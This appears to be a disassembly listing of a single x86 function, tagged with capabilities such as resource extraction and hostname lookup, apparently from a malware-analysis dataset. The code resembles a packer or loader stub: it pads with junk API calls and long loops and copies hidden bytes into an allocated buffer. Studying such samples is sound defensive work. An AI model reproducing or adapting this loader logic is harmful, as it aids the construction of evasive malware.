Function at 0x401620
Capabilities:
Extract resource via kernel32 functions
Get hostname

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x426688
push eax
mov dword fs:[0], esp
sub esp, 0xd84
cmp dword [0x84b660], 0x5b1
push ebx
push esi
push edi
jne 0x4016fa
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupRead]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
push 0
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
lea esi, [ebp - 0x34]
call fcn.00401c80
push 0
mov dword [ebp - 4], 0
call fcn.00403bc1
add esp, 4
push 0
push 0
call fcn.00403bcc
add esp, 8
call fcn.0040374a
call fcn.00401610
push 0
call fcn.00403cca
add esp, 4
push 0
call fcn.00403cda
mov dword [esp], 0
call fcn.00401260
fstp st(0)
lea edx, [ebp - 0x7c]
push edx
call fcn.00401cd0
lea ecx, [ebp - 0x7c]
call fcn.00401d20
mov eax, esi
mov dword [ebp - 4], 0xffffffff
call fcn.00401cb0
mov eax, dword [0x42c4a0]
mov dword [0x84b664], eax
mov eax, dword [0x84b660]
add eax, 0x1134b
push eax
push 0
mov dword [0x84b660], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x84a5b0], eax
call fcn.00401550
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
mov edi, edi
cmp esi, 0x2710
jge 0x401743
lea ecx, [ebp - 0x590]
push ecx
push 0
call edi
inc esi
cmp esi, 0x18ea14c
jl 0x401730
xor esi, esi
cmp dword [0x84b660], esi
jbe 0x4017b2
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.GDI32.dll_SetColorAdjustment]
mov edx, dword [0x84b664]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x84a5b0]
mov byte [ecx + esi], al
cmp dword [0x84b660], 0xa8
jne 0x4017a9
push 0
lea edx, [ebp - 0x10]
push edx
call edi
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x190]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
inc esi
cmp esi, dword [0x84b660]
jb 0x401762
mov edi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor esi, esi
mov ecx, dword [0x84b660]
add ecx, esi
cmp ecx, 0xe
jne 0x4017ec
push 0
push 0
push str.negodefivezefulisaw
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
inc esi
cmp esi, 0x39621
jl 0x4017c0
call fcn.004014a0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x62
jne 0x40180e
call fcn.00401530
inc esi
cmp esi, 0x674db
jl 0x401802
mov esi, dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameW]
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov ebx, dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x84b660], 0x86
jne 0x40186c
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0xd90]
push eax
push str.tikebicaviwefijuliyuduco
call esi
push 0
push str.muhobahodagok
push str.vozizisijocojiviragovabijo
call edi
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
sub dword [ebp - 0x10], 1
jne 0x401830
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret